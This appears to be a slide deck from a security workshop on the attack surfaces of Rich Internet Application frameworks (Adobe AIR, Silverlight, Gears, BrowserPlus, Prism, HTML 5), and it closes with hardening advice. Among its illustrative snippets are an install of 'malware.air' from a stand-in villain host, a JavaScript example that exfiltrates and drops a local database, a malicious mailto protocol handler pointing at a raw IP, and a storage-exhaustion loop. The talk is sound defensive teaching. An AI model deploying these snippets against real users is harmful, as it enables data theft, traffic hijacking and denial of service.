RIA Security Workshop:
Blurring the Line between Web and Desktop Security

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1. **Introduction**
   - Who are we?
   - What’s a RIA?
   - Why use RIA?

2. **RIA Frameworks**
   - Adobe AIR
   - MS Silverlight
   - Google Gears
   - Y! BrowserPlus
   - Mozilla Prism
   - HTML 5

3. **Attack Scenarios**
   - RIA vs OS
   - RIA vs the web
What’s a RIA?
“Rich Internet Applications”

- As with “Web 2.0”, ill-defined
- May contain some of the following ingredients:
  - AJAX
  - Flashiness
  - Local storage
  - “Offline mode”
  - Decoupling from the browser
  - Access to lower level OS resources: sockets, hardware devices
  - Appearance of a traditional desktop application

- Our research has shown a huge disparity in features and security design
What’s a RIA?

Party like it’s 1997

- Constantly updating content!
- Push technology!
- No more browsers!
Why use a RIA?

- “Web 2.0” no longer gets you VC funding
- To increase responsiveness—distribute data stores between server and client
- Desktop integration—take advantage of OS UI functionality
- Never learned any real programming languages
- In short, web developers can now write full “desktop” apps. This could be good or bad.
RIA Frameworks

- Adobe AIR
- Microsoft Silverlight
- Google Gears
- Yahoo! BrowserPlus™
- Mozilla Prism
RIA Frameworks

Fight!
# Adobe AIR

**Quick Summary**

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Adobe AIR

What is Adobe AIR?

Full-featured desktop runtime based upon Adobe Flash technology

- Cross-browser, cross-platform
- Applications can be created with:
  - Adobe Flex 3
  - Adobe Flash CS3
  - HTML and JS using free tools
- AIR intended to be more powerful than a browser-based RIA
  - There is no sandbox around the application
  - AIR apps run with the full powers of the user
Adobe AIR
What is Adobe AIR?

So it’s just like a Win32 program in the eyes of a security analyst?

- Um, not really
- Power of AIR is the “I” in “RIA”
  - Can be invoked by browser with arguments, like ActiveX or Flash
  - Has many native mechanisms for loading external content
  - Highly likely that developers will utilize Internet content. That’s the point.
Adobe AIR

What is Adobe AIR?

AIR is best thought of as an ActiveX or Full Trust .Net analogue and not like Flash++
- Code runs with full privileges, can install malware
- Native mechanisms allow for interaction with untrusted world

Fortunately, Adobe has seemed to learn some lessons from ActiveX
Adobe AIR
Adobe AIR Instantiation

- AIR Applications are identified by an appId and pubID
- pubID calculated from developer personal information and certificate
- SWF files can import functionality that allows them to interact with AIR applications. From Adobe:

```javascript
airSWFLoader.load(new URLRequest("http://airdownload.adobe.com/browseraapi/air.swf"), loaderContext);
```
Adobe AIR
Adobe AIR Instantiation

- With airSWF classes, the SWF can check on the application’s install status and version

```javascript
airSWF.getApplicationVersion(appID, pubID, versionDetectCallback);
```

- Now that we know the version, we can instantiate

```javascript
airSWF.launchApplication(appID, pubID, arguments);
```
Adobe AIR
Adobe AIR Security Model

- By default, code included in AIR application has full rights
  - New functionality in privileged APIs added to JavaScript and ActionScript
  - Some restrictions on interacting with desktop in AIR 1.0
  - Existing capabilities can be chained to run native code
  - Rumors of additional native code capabilities in future releases
Adobe AIR
Adobe AIR Security Model

- No “code access security” model as understood on other systems, such as Java or .Net
- Instead, five pre-defined sandboxes with fixed capabilities
  - Application—Full perms. Default for code included with AIR app
  - Remote—Code downloaded from internet. Browser-like permissions
  - Three intermediate permissions for local SWFs
Adobe AIR
Adobe AIR Security Model

- AIR has many ways of loading executable content to run, such as HTML/JS and SWFs
- Also many ways of getting external untrusted data
  - Network traffic
  - Arguments from browser invocation
  - Command line arguments
- Application Sandbox
  - Is not supposed to be able to dynamically generate code
  - `eval()` is best example in JS
  - Goal is to eliminate XSS and injection attacks that have plagued Flash apps that have more kick with local privileges
Adobe AIR
Adobe AIR Security Model

- Default for remotely loaded code is Remote sandbox
  - Cannot access new dangerous classes, like `FileStream()`
  - Can access `eval()` and other dynamic methods
  - Can be granted cross-domain XHR

- Should be sufficient for most of the content developers would want from Internet, such as HTML or movie SWFs
Adobe AIR
Adobe AIR Security Model

- Seems like a reasonable security precaution. How will web developers circumvent it?
- They can look for mistakes in Adobe’s classification of methods
- Better yet, use a Sandbox Bridge
  - Official method of moving data between sandboxes
  - An application can attach functions or variables to an object available from multiple sandboxes
  - Documented as passing by value, not reference, although this doesn’t jive with how functions work
Adobe AIR
Adobe AIR Security Model

- First parent sets up Sandbox Bridge

```javascript
var highRightsStuff = {};
highRightsStuff.writeString = function(name, content) {
    // Write to file with air FileStream
}
document.getElementById("child").contentWindow.parentSandboxBridge = highRightsStuff;
```

- Then child code (in a iFrame) can access the function

```javascript
window.parentSandboxBridge.writeString(name, content);
```
Adobe AIR
Installing AIR

- AIR requires Flash 9
- Can be installed via external binary or inside of Flash:
Adobe AIR
Installing an AIR Application

- AIR applications can be bundled as binaries (*.air)
- Can also be installed by a web page from inside a SWF

```javascript
var url: String = "http://www.cybervillains.com/malware.air";
var runtimeVersion: String = "1.0";
var arguments: Array = ["launchFromBrowser"];
airSWF.installApplication(url, runtimeVersion, arguments);
```

- Creates an Open/Save prompt
Adobe AIR
Installing an AIR Application

- Adobe supports signing AIR applications with commercial certificates
- Gives you this prompt:

![Application Install]

Are you sure you want to install this application to your computer?

Publisher: Adobe Systems Incorporated
Application: Acrobat.com
System Access: UNRESTRICTED

Installing applications may present a security risk to you and your computer. Install only from sources that you trust.

- Publisher Identity: VERIFIED
- System Access: UNRESTRICTED

This application may access your file system and the internet, which may put your computer at risk.

- Notice the default selection
Unfortunately, they also support self-signed certificates

- Gives you this prompt:
Adobe AIR
Installing an AIR Application

- Actually, looks more like pre-IE7 ActiveX
- What am I complaining about? They give the correct information
  - True, but so did ActiveX
  - Allowing users to install signed applets is dangerous enough
  - Allowing self-signed (which is same as unsigned) is terrifying
- The popularity of ActiveX in IE5 and IE6 and the ability of web sites to pop open infinite prompts made it the premier malware seeding mechanism
- Adobe Flash is more popular than IE ever was
- It’s almost impossible to install ActiveX now. That’s not an accident.
Some suggestions

- Change default action
- Add a countdown timer to discourage mindless clickthrough
- There is already a registry key to disable unsigned install prompts, turn it on by default
- Stop distributing self-signed AIR applications from Adobe.com

There is perhaps room for something between AIR and Flash without the rootkit abilities
# Questions about Silverlight

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Microsoft Silverlight

What is Silverlight?

- Cross browser plugin comparable in functionality to Flash
- Subset of the .NET framework
- Two versions:
  - Silverlight 1.0: released
  - Silverlight 2.0: beta 2
Microsoft Silverlight

What is Silverlight?

Silverlight Bits

- .XAP .ZIP container for Silverlight apps
- XAML Extensible Application Markup Language
- CoreCLR CLR for .NET lite (with enhanced CAS)
- XBAP XAML Browser Applications (CAS)
Microsoft Silverlight

XAML

```xml
<Canvas Width="600" Height="500" Background="AntiqueWhite"
    xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml">
    <StackPanel Width="600">
        <Image Source="plan.jpg"/>
        <StackPanel Orientation="Horizontal">
            <TextBlock Height="45" FontSize="18">Bigger Cat</TextBlock>
            <Slider Value="2" Minimum="1" Maximum="10" Height="45" Width="400"
                HorizontalAlignment="Center" VerticalAlignment="Bottom"></Slider>
            <TextBlock FontSize="18" Height="45">Smaller Cat</TextBlock>
        </StackPanel>
    </StackPanel>
</Canvas>
```
Microsoft Silverlight
XAML in Action
Silverlight’s Simplified Code Access Security

- SecurityTransparent—Silverlight developer code, sans attribute
- SecuritySafeCritical—New bridge code from Microsoft
- SecurityCritical—Slimmed .NET 3
Microsoft Silverlight

Isolated Storage

This code will silently fail:

```csharp
using System.IO;
```

This code will succeed:

```csharp
using System.IO;

IsolatedStorageFile isf = IsolatedStorageFile.GetUserStoreForApplication();
isf.CreateFile("relativePath");
```
Microsoft Silverlight

Isolated Storage

What could go wrong?

- SecuritySafeCritical code fails us (Microsoft’s fault)
- Threading
- DoS attacks against local system
Microsoft Silverlight

Isolated Storage

- The default storage quota is 1 MB per application
- Two applications cannot access each other's storage
- Storage is isolated based on AppDomain
Silverlight Security

File System

What could go wrong?

- DoS against the user
- Sensitive File names like COM3 and prn
Silverlight Security

File System

You can deny local storage
Network sockets are available to the Silverlight applications through the `System.Net.Sockets` namespace.

- Currently only supports TCP sockets.
- Socket connections can only push data to the client.
- Socket connections require `clientaccesspolicy.xml` (even to host of origin) served from port 943.
Interaction with the Operating System

Network Sockets

What could go wrong?

- More DoS
- Policy file requests
Cross-domain Access

- initParams issues, XSS, insecure inclusion, HTML bridge
- Breaking the same orgin policy with files
- Cross domain issues, CSRF, web services architecture:

```xml
<?xml version="1.0" encoding="utf-8"?>
<access-policy>
  <cross-domain-access>
    <policy>
      <allow-from http-request-headers="*">
        <domain uri="*"/>
      </allow-from>
      <grant-to>
        <resource path="/" include-subpaths="true"/>
      </grant-to>
    </policy>
  </cross-domain-access>
</access-policy>
```
## Questions about Gears

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Google Gears

- Uses a homegrown API for synchronizing data
- Local SQLite instance used for data storage
- `LocalStorage` hosts content locally for offline access
- Works offline via SQL database, local assets, and a local app server, `LocalStorage`
- `LocalStorage` acts as a broker between the browser and webserver
  - Changes behavior depending on online status
- Implements a `WorkerPool` to perform intensive Javascript calculations outside of the browser
Google Gears
Security mechanisms

- Uses same origin to restrict access to site databases and LocalServer resource capture
- Provides for parameterized SQL
- Opt-in user dialog
- Gears 0.3 allows for “customization” of this dialog...
Google Gears
Not a great “feature”...
Google Gears

Workerpool botnets

- Workerpools allow for intensive tasks that would normally trigger tight loop detection to run uninterrupted.
- Due to the ease of tricking users into installing Gears apps, makes an attractive target for botnets.
- Applications for hash cracking, remote site attacks.
### Questions about Yahoo! BrowserPlus™

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Yahoo! BrowserPlus™
A challenger appears

“To address security, we’ve followed the same web security precedent set by browser developers.”

- But it’s even worse than that...

Initialized by including
http://bp.yahoobapis.com/2.0.6/browserplus-min.js
- No, you can’t do that over SSL
Yahoo! BrowserPlus™

Architecture

- Runs as a browser plugin, with a separate helper process
- Allows pages to request handy “corelets”, installed on-demand, like:
  - Imagemagick for local image processing
  - Flickr uploadr
  - Notifications via Growl/Snarl
  - and a Ruby interpreter?
- These execute code on the local machine as the current user
- In short, it’s ActiveX—
Yahoo! BrowserPlus™

About this Ruby business...

- Included version: 1.8.6p0
- Perfectly safe, as long as you don’t use strings or arrays
Yahoo! BrowserPlus™

- Of course, BrowserPlus™ isn’t totally baked yet
- In “Sneak Peek” phase
- Currently, only works with Yahoo! sites
- All modules must be signed by Yahoo!
- Also lacks some “polish”...

A description of the component ooga booga momma bite me yeah yeah yeah.

↑

Actual Yahoo! content
Yahoo! BrowserPlus™
Summary

- This is a bad idea.
- Allows for buggy native code apps of any type to be deployed with no sandboxing or sitelocking.
- All runs as a browser plugin rather than an extension or control: full privilege.
- Corelets are signed, but can overwrite each other after signature verification (and be updated dynamically)
- Bad code can supposedly be revoked, but it can override revocation mechanisms.
- Bottom line—can’t ship in current state
## Mozilla Prism

### Quick Summary

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Mozilla Prism

- Formerly WebRunner—wraps webapps to appear as desktop apps
- “Standalone” browser instance, restricted to one domain
  - External links open a regular browser
- Separate user profile
- Certificate errors are a hard failure
Mozilla Prism

- Consists of a webapp bundle with id, URI, CSS, scripting and UI rules in an INI:

```ini
[Parameters]
id=isec.site@iseccpartners.com
uri=https://www.iseccpartners.com/
icon=isec
status=no
location=no
sidebar=no
navigation=no
```
Mozilla Prism

Example bundles
Mozilla Prism

Bundles

- Javascript included with webapp bundles has full XPCOM privs (but not content scripting privs)
- Script in 3rd-party bundles allows modifying browser behavior just like an extension
- Unlike add-ons, no mechanism for signing or verifying goodness of webapp bundles
Mozilla Prism

Prism Install UI

![Prism Install UI](image)

- **Web Application**
  - URL: `http://www.twitter.com/`
  - Name:
  - Show location bar
  - Show status messages and progress
  - Enable navigation keys
  - Display in the notification area

- **Create Shortcuts**
  - Desktop
  - Start Menu
  - Quick Launch Bar

To uninstall this application, simply delete the shortcuts.
Mozilla Prism

Abuse

- Looks like a bookmark dialog
- No warnings for install
- Full XPCOM scripting privileges
- Low bar for trojans and malicious code—a malicious browser extension, but with no code signing or warning
Mozilla Prism

Abuse

- Not only that, but the sandboxing isn’t real
- Prism apps can script all kinds of things
- In 0.8, a malicious Prism app can change preferences affecting all other Prism apps
  - ...like proxy configuration, for example... oops.
HTML 5

New “features” in Firefox and WebKit

- Introduces DOM storage—`sessionStorage` and `localStorage`
  - `sessionStorage` stores arbitrary amounts of data for a single session
  - `localStorage` persists beyond the session—never expires, limited to 5M
- Database storage via `openDatabase()`
- All expected to be same-origin
DOM Storage

- The major goals of DOM storage—more storage space and real persistence
- Cookies considered too small
- Users delete cookies, or won’t accept them
- DOM storage bypasses pesky users
- However, pesky users can use:
  - about:config dom.storage.enabled = false
Browser-based SQL Databases

DatabaseJacking

Injection attacks become far more damaging when you can insert code like this:

```javascript
var db=openDatabase("e-mail", [], "My precious e-mail", "3.14");

allmessages=db.executeQuery("SELECT * FROM MSGS", [], function(results) {
    sendToAttacker(results);
})

db.executeQuery("DROP TABLE MESSAGES", [], function() {
    alert("lol");
})
```
Firefox 3
Mozilla-specific issues

- Cross-Site XMLHttpRequest—removed in late FF3 betas, but it may return
- `globalStorage`
  - FF2 has weak same-origin restrictions
  - FF2 and FF3 both omit any UI to view/change/delete
  - Deprecated in HTML 5 for `localStorage`
- The RIA world is totally SQL-happy
- Downloads, cookies, form history, search history, etc, all stored in local SQLite databases
  - Why?? This data **isn’t relational**.
Firefox 3
Additional fun

- Speaking of tracking and data storage...
- Did you have History turned off? FF3 may have turned it back on.
- Also new in FF3: `nsIdleService`—idle tracking through XPCOM
- EXSLT—eXtensible Stylesheet Language Transformations weren’t extensible enough, so here are the extensions. Thankfully, XSLT has been bug-free.
- Websites can now be protocol handlers—a novel way to implement spyware
Firefox 3
Protocol Handlers

- Set up a dumb proxy, forwarding traffic to the real handler IP (and rewriting Host: headers)
- Register a new protocol handler thusly:

```javascript
<navigator.registerProtocolHandler('mailto:', 'http://123.142.120.129:8080/dc/launch?action=compose&To=%s', 'Yahoo! Mail');
</script>
```

- Use your malicious IP instead of a name, users won’t know the difference
- The only “security” restriction is that the handler has to go to the domain trying to install it.
Firefox 3
Protocol handler registration

- Installation of a protocol handler is one-click—only one option.
Firefox 3
Launching a malicious handler

- After a handler is installed, mailto: links offer the malicious handler

- Note nearly invisible host URI and the auto-fetched favicon—which would you pick in a hurry?
Webkit
The Lurking Menace

- Used in Safari, iPhone, Nokia, Android, OpenMoko, Konqueror, and AIR
- Supports HTML 5 DOM storage mechanisms
- Early adopter of local database objects
  - Particularly crucial on mobile devices, where storage is at a premium
Inherent DoS Risks in HTML 5

- 5M per origin for database objects
- 5M per origin for `localStorage`
- 5M per origin for `globalStorage` (in Firefox)

Thankfully, no one has hundreds of thousands of origins
  - Except people on internal class A networks
  - Or anyone with wildcard DNS

Trivial storage exhaustion attacks possible

Even more so for mobile devices based on WebKit—plus, storage and RAM are often pooled on these

**Almost no exposed UI to disable this**
DoS Risks in HTML 5

Attack Scenarios

- Attacker sets up or compromises web server with wildcard DNS
- Upon page visitation of the main virtual host, an IFRAME loads which runs Javascript like this:

```javascript
function storethings(name) {
    globalStorage['cybervillains.org'][name] = "Hi there, from iSEC!";
}

function mul0 (str, num) {
    if (!num) return "";
    var newStr = str;
    while (--num) newStr += str;
    return newStr;
}

var i = 0;
while (i < 10000) {
    whee = mul0("A", 10000);
    storethings(whee + i);
    i++;
}
```
DoS Risks in HTML 5

Attack Scenarios

- Each request loads a page instantiating `globalStorage` and/or `localStorage` and database objects.
- Fill the victim’s hard drive with incriminating evidence—base64-encoded images/files, etc...
Other HTML 5 features not yet implemented

Coming soon to a browser near you

- TCP Connections! Direct ones *and* broadcast.
- HTML 5 Specification Draft, Section 7.3.8, Security: “Need to write this section.” [3]
  - Yes.
RIA vs OS

Storage

- All of these frameworks expand the capabilities to store data locally
- Introduce privacy/tracking concerns
- DoS risk against desktops and mobile devices
RIA vs OS

Malware

- Adobe AIR is a desktop application framework
- AIR can easily seed malware
- The effectiveness of malware attacks will be directly related to the popularity of the platform and the ease of install
- Large media attack surfaces pose another option
RIA vs the web
Or vice versa

- Most RIA frameworks and HTML 5 include mechanisms for SQL-based storage
- XSS now has access to huge, easily retrievable data stores, often pre-login
- Retrieving query parameters from untrusted sources can now lead to SQL injection
- CSRF from the RIA app to the browser usually still possible
- Silverlight and AIR accept input from calling sites, opening Flash-like XSS and XSF vulns
RIA vs RIA

- In the case of Prism, “sandboxed” apps can affect each other, and the browser
- In the case of BrowserPlus™, modules can clobber each other and other parts of the machine
- Done improperly, multiple frameworks allow for “bridging” apps, breaking outside of the sandbox
- Prism allows for developer foot-shooting by letting web pages talk to Chrome[4]
RIA Developer Checklist

- Prevent predictably named data stores—use a per-user GUID embedded in dynamically generated page
- Parameterize SQL statements
- Lock your app to your domain if possible
- Beware of passed-in arguments. Don’t use them in JavaScript or to fetch URLs
- Be very careful with sandbox bridging. Don’t get cute about bypassing AIR security model or crossing Mozilla unprivileged/unprivileged code boundaries
- Use Flex or Flash if you don’t need local power of AIR
  - …and you probably don’t
RIA Framework Vendors

Local Storage Security

- Let users opt out.
  - User choice is missing here
  - Cookies have been opt-out for ages, but other tracking mechanisms haven’t caught up
- Limit storage invocations
  - 5M per origin is way too much without user interaction, especially on mobile devices
RIA Framework Vendors

Install Mechanisms

- Learn from Microsoft’s mistakes
  - They invented RIA with ActiveX
  - ActiveX’s Legacy: Malware
  - Bad guys can get certs. We have a code signing cert from Verisign, and we’re professional bad guys
RIA Framework Vendors

Install Mechanisms

- Users will click yes enough to invite abuse
- We need to start taking security UI seriously
  - Do not allow self-signed anything without setting an external developer bit
  - Install needs to take longer
  - Watch out for install window DoSing to force a “yes”
  - Using .exe download and install as baseline is not acceptable
  - RIA frameworks need an equivalent to ActiveX killbits
RIA Framework Vendors

Attack Surfaces

- RIA Frameworks are expanding security attack surface
  - Audio codecs
  - Video codecs
  - IL Parser / Virtual Machine
  - Embedded HTML renderer, JavaScript engine, image libraries

- Users do not understand the danger
- Too many exploits will lead to backlash, mass uninstall
Users and Administrators
Advice for Corporate Admins

- Disallow install of RIA frameworks without legitimate business need
  - For Windows, GPO can disable per CLSID
  - Once installed, IEAK becomes useless in enforcing policy in alternative installers
- Discourage development teams from using RIA unnecessarily
- Understand local framework settings that you can set remotely
  - Disable self-signed AIR install
- Block blobs at border proxy if necessary
Users and Administrators

Advice for Normal People

- Don’t install frameworks you don’t need
- Use NoScript or equivalent to block JS/Flash/Silverlight instantiation except when you want it
- Read install boxes carefully
- Buy gold, guns, and canned food
Penetration Testers

- Identify parameters used on instantiation
- Ensure SQL statements are parameterized
- Data stores not subject to same-origin—ensure proper GUIDs are used
- Check for limits on storage mechanism invocations
- Identify mechanisms used for letting the app framework talk directly to page content
- Make people use SSL!
RIA frameworks **widely differ** in their security models

It is **highly likely** that web developers will introduce interesting flaws into their desktop applications

The Web is becoming less standardized, more complex, and much more dangerous

**To Be Done**

- Automated auditing tools for these frameworks are necessary
- Detailed per-framework checklists need to be created
- Plenty of bugs to find for everyone
Q&A

- Thanks for coming!
- Questions?

https://www.iseccpartners.com
For Further Reading I

Lutz Roeder.
*Reflector for .NET*
http://www.aisto.com/roeder/dotnet/

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Ian Hickson, David Hyatt
*A vocabulary and associated APIs for HTML and XHTML*
http://www.w3.org/html/wg/html5/—July 1 2008
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*Interaction between privileged and non-privileged pages*


Adobe Security Team

*Adobe AIR 1.0 Security White Paper*

http://download.macromedia.com/pub/air/documentation/1/air_security.pdf